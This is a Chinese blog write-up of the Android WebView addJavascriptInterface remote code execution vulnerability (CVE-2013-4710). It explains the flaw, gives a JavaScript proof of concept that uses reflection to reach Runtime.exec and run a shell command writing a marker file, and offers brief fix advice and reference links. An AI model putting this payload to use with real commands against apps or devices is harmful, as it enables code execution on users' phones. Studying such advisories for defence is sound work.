• CVE-2013-4710 WebView addJavascriptInterface远程执行代码


    WebView是Android平台下的一个重要组件,通常用来在Activity中嵌入一个简单的浏览器,实现在线网页浏览的功能。比如下面代码实现访问Google页面:

    WebView webView = new WebView (R.id.webView1);
    webView.getSettings().setJavaScriptEnabled(true);
    webView.loadUrl("http://www.google.com");
    

    为了与Web页面实现动态交互,Android应用程序允许WebView通过WebView.addJavascriptInterface接口向Web页面注入Java对象,页面Javascript脚本可直接引用该对象并调用该对象的方法。

    这类应用程序一般都会有类似如下的代码:

    webView.addJavascriptInterface(javaObj, "jsObj");

    此段代码将javaObj对象暴露给js脚本,可以通过jsObj对象对其进行引用,调用javaObj的方法。
    结合Java的反射机制可以通过js脚本执行任意Java代码,相关代码如下:

    POC

    <script>
    function execute(cmdArgs)
    {
        return local_obj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke
    
    (null,null).exec(cmdArgs);
    }
    
    try{
        execute(["/system/bin/sh","-c","echo 'xxx remote command execute' > /sdcard/hi"]);
    }catch(e){
        alert(e);
    }
    </script>

    漏洞案例:

      百度网易等数大量安卓应用存在远程代码执行漏洞

    修复方案:

      如需要使用相关组件,可以调用removeJavascriptInterface(“accessibility”) 和removeJavascriptInterface(“accessibilityTraversal”) 方法移除这两个默认接口;

    如下图所示:

    Referer:

      https://www.uedbox.com/post/28685/

      https://www.secpulse.com/archives/19459.html

      https://labs.mwrinfosecurity.com/archive/webview-addjavascriptinterface-remote-code-execution/

      https://www.cnblogs.com/wytiger/p/10436045.html

      https://www.jianshu.com/p/9f7e9ab8d2fa

  • 相关阅读:
    无缝轮播图
    瀑布流之ajax
    进阶版轮播图
    桌面特效
    3D模型文字动画
    Razor 常用方法
    easyui常用
    C#
    Redis设置记录
    日志三剑客ELK
  • 原文地址:https://www.cnblogs.com/nul1/p/11567874.html
Copyright © 2020-2023  润新知